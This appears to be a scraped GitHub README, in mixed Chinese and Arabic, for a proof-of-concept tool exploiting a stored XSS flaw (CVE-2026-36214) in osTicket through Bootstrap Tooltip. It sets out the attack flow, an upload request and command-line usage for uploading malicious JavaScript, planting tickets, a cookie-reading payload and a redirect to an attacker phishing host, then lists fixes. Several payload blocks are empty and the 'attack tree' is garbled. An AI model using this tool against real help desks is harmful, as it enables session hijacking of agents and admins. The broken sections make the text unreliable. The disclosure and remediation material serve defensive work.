amnsecurity/CVE-2026-36214-osTicket-XSS
GitHub: amnsecurity/CVE-2026-36214-osTicket-XSS
针对 osTicket 中由 Bootstrap Tooltip 组件引发的存储型 XSS 高危漏洞(CVE-2026-36214)提供 PoC 利用工具与详细技术分析。
Stars: 1 | Forks: 0
# ─── CVE-2026-36214 ───
# 🏴 AMN SECURITY 🏴 ### Cyber Security Research Center | 网络安全研究中心 [](https://amn.amnoffsec.workers.dev/) [](https://www.instagram.com/ixctw) [](mailto:ayman.mahmoudoffsec@gmail.com)
# 🏴 AMN SECURITY 🏴 ### Cyber Security Research Center | 网络安全研究中心 [](https://amn.amnoffsec.workers.dev/) [](https://www.instagram.com/ixctw) [](mailto:ayman.mahmoudoffsec@gmail.com)
# ⚠️ osTicket 中通过 Bootstrap Tooltip 组件的存储型 XSS 漏洞
### CVE-2026-36214 | CVSS 8.7 | 高危
### 📋 执行摘要
ثغرة أمنية من نوع **Cross-Site Scripting (XSS) مخزنة** في نظام إدارة التذاكر **osTicket** (الإصدارات 1.10 حتى 1.17.7 و 1.18.0 حتى 1.18.3)، تنشأ من استخدام مكون **Bootstrap Tooltip 3.3.4** المعروف بثغرة **CVE-2019-8331**.
تسمح هذه الثغرة لمستخدم عادي (غير مُصادق عند إنشاء التذكرة) بحقن كود JavaScript ضار في رسالة التذكرة. عند عرض هذه الرسالة من قبل **وكيل (Agent)** أو **مسؤول (Admin)**، يتم تنفيذ الكود في سياق جلستهم، مما يسمح بسرقة الجلسة والتحكم الكامل بنظام التذاكر.
| العنصر | التفاصيل |
|--------|----------|
| **CVE** | CVE-2026-36214 |
| **CVSS** | 8.7 (High) |
| **النوع** | Stored Cross-Site Scripting (XSS) |
| **المنتج** | osTicket |
| **الإصدارات المتأثرة** | v1.10 - v1.17.7, v1.18.0 - v1.18.3 |
| **المكون الضعيف** | Bootstrap Tooltip 3.3.4 (CVE-2019-8331) |
| **الصلاحية المطلوبة** | بدون مصادقة (افتراضياً) |
| **التأثير** | استيلاء كامل على جلسات الوكلاء والمسؤولين |
### 🔍 漏洞详情
osTicket هو نظام تذاكر مفتوح المصدر يستخدم على نطاق واسع في المؤسسات. يسمح للمستخدمين برفع محتوى HTML وملفات مرفقة ضمن التذاكر.
#### 攻击机制
```
[مستخدم] ← يرفع ملف JavaScript ضار كملف مرفق في تذكرة
│
▼
[نظام osTicket] ← يخزن الملف ويعيد رابط تحميل مباشر
│ Content-Type: text/javascript (دون قيود)
▼
[مستخدم] ← يرسل تذكرة تحتوي على HTML ضار
│ يستخدم Bootstrap Tooltip data-template
▼
[وكيل/مسؤول] ← يفتح التذكرة لعرضها
│
▼
[Bootstrap Tooltip] ← يعالج data-template ← يحمل ويشغل JavaScript
│
▼
[اختراق جلسة الوكيل/المسؤول]
```
#### 攻击树
```
<قميص>
قميص>
```
#### 漏洞成因
1. **Bootstrap Tooltip 3.3.4** (CVE-2019-8331) يسمح بحقن HTML عبر `data-template`
2. **htmlLawed** لا يقوم بتصفية السمة `data-template` بشكل كافٍ
3. **رفع الملفات بدون قيود**: يمكن رفع ملفات JavaScript مع `Content-Type: text/javascript`
4. **CSP متساهل**: سياسة أمان المحتوى تسمح بتنفيذ JavaScript من نفس المصدر (same-origin)
### 💥 详细攻击场景
#### 步骤 1:上传恶意 JavaScript 文件
```
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data
[attachment: exploit.js]
```

#### 步骤 2:获取直接下载链接
بعد الرفع، يتم إرجاع رابط مباشر للملف:
```
http://target-osticket.com/file.php?key=abc123&expires=...
```


#### 步骤 3:创建恶意工单
```
```

#### 步骤 4:执行
عندما يفتح وكيل أو مسؤول التذكرة:

#### 通过同源绕过 CSP
سياسة CSP في لوحة التحكم تسمح بـ JavaScript من نفس المصدر فقط:

#### 在禁止上传 JS 时进行重定向
إذا تم منع رفع ملفات JS، يمكن استخدام iframe مع data URI:
```
```

### 🧪 工具使用
```
# 上传恶意 JavaScript 文件
python3 CVE-2026-36214.py -t https://target-osticket.com --upload exploit.js
# 创建恶意工单
python3 CVE-2026-36214.py -t https://target-osticket.com --ticket \
--js-url "http://target/file.php?key=abc123"
# 完整攻击模式
python3 CVE-2026-36214.py -t https://target-osticket.com --auto \
--payload "alert(document.cookie)"
# 使用 iframe data URI(在禁止上传 JS 时)
python3 CVE-2026-36214.py -t https://target-osticket.com --iframe \
--redirect "https://attacker.com/phish"
# 目标扫描
python3 CVE-2026-36214.py -t https://target-osticket.com --check
```
#### 可用选项
| الخيار | الوصف |
|--------|-------|
| `-t, --target` | رابط osTicket المستهدف |
| `--check` | فحص وجود الثغرة فقط |
| `--upload` | رفع ملف JavaScript ضار |
| `--ticket` | إنشاء تذكرة بالحمولة |
| `--auto` | هجوم أوتوماتيكي كامل |
| `--js-url` | رابط ملف JavaScript |
| `--payload` | كود JavaScript للتنفيذ |
| `--iframe` | استخدام iframe data URI |
| `--redirect` | رابط إعادة التوجيه |
| `--proxy` | بروكسي HTTP |
| `-v, --verbose` | إظهار تفاصيل إضافية |
### 🛡️ 修复措施
| الإجراء | الأولوية | الوصف |
|---------|----------|-------|
| **تحديث osTicket** | 🟢 فوري | الترقية إلى 1.17.8 أو 1.18.4 |
| **تحديث Bootstrap** | 🟢 فوري | تحديث Bootstrap إلى 3.4.1+ |
| **تقييد رفع الملفات** | 🟡 مهم | منع رفع ملفات JavaScript في إعدادات Admin Panel |
| **تشديد CSP** | 🟡 مهم | إضافة `script-src 'nonce-...'` لسياسة الأمان |
| **تدقيق التذاكر القديمة** | 🟡 مهم | مراجعة التذاكر بحثاً عن حمولات XSS |
#### 禁止上传 JavaScript 文件
يمكن للمسؤول منع رفع ملفات JS من خلال إعدادات المرفقات في لوحة التحكم:
```
Admin Panel → Settings → Tickets → Attachments
→ Allowed File Types: إزالة js, jsx, mjs
```
### 📊 影响
| المستوى | التأثير |
|---------|---------|
| **وكيل (Agent)** | 🔴 استيلاء على صلاحيات الوكيل → قراءة/رد/تحويل التذاكر |
| **مسؤول (Admin)** | 🔴 استيلاء كامل → تعديل الإعدادات، إنشاء حسابات، DoS |
| **السرية** | 🔴 تسريب جميع التذاكر والمرفقات |
| **السلامة** | 🔴 تعديل البيانات والإعدادات |
| **التوفر** | 🟡 يمكن تعطيل النظام عبر تغيير الإعدادات |
### 🔗 参考链接
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-36214
- **CVE-2019-8331**: Bootstrap Tooltip XSS
- **osTicket**: https://osticket.com/
- **CWE-79**: Improper Neutralization of Input During Web Page Generation
### 🔗 联系 AMN SECURITY
[](https://amn.amnoffsec.workers.dev/)
[](https://www.instagram.com/ixctw)
[](mailto:ayman.mahmoudoffsec@gmail.com)
# ⚠️ CVE-2026-36214 — osTicket 通过 Bootstrap Tooltip 的存储型 XSS ### CVSS 8.7 | 高危 | 存储型跨站脚本攻击 ### 执行摘要 **CVE-2026-36214** 是 **osTicket** 1.10 至 1.17.7 版本和 1.18.0 至 1.18.3 版本中的一个 **存储型跨站脚本攻击 (XSS)** 漏洞,由包含存在漏洞的 **Bootstrap Tooltip 3.3.4** 组件 (CVE-2019-8331) 引起。 未经身份验证的用户可以构造恶意的工单消息,即使经过了 htmlLawed HTML 消毒处理,当 Agent 或 Admin 查看时,仍会导致执行任意的 JavaScript。 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-36214 | | **CVSS** | 8.7 (高) | | **类型** | 存储型跨站脚本攻击 (CWE-79) | | **产品** | osTicket | | **受影响版本** | v1.10 - v1.17.7, v1.18.0 - v1.18.3 | | **影响** | Agent/Admin 会话被完全接管 | ### 攻击流程 1. 将恶意 JS 文件作为工单附件上传 2. 创建包含 Bootstrap Tooltip XSS payload 的工单并引用该 JS 文件 3. 当 Agent/Admin 打开工单时 → 在其会话上下文中执行 JS ### 工具使用 ``` # 检查漏洞 python3 CVE-2026-36214.py -t https://target-osticket.com --check # 上传恶意 JS python3 CVE-2026-36214.py -t https://target-osticket.com --upload exploit.js # 创建恶意工单 python3 CVE-2026-36214.py -t https://target-osticket.com --ticket --js-url "http://target/file.php?key=abc" # 全自动攻击 python3 CVE-2026-36214.py -t https://target-osticket.com --auto --payload "alert(document.cookie)" ``` ### 修复措施 | 操作 | 优先级 | 描述 | |--------|----------|-------------| | **更新 osTicket** | 🔴 立即 | 升级至 1.17.8 或 1.18.4+ | | **更新 Bootstrap** | 🔴 立即 | 更新 Bootstrap 至 3.4.1+ | | **限制上传** | 🟡 重要 | 在 Admin Panel 中阻止 JS 文件上传 | | **加固 CSP** | 🟡 重要 | 添加 `script-src 'strict-dynamic'` 策略 | ### 参考 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-36214 - **CVE-2019-8331**: Bootstrap Tooltip XSS - **CWE-79**: 输入处理不当 ### 联系 AMN SECURITY 🌐 **网站**: https://amn.amnoffsec.workers.dev/ 📸 **Instagram**: https://www.instagram.com/ixctw 📧 **邮箱**: ayman.mahmoudoffsec@gmail.com
标签:逆向工具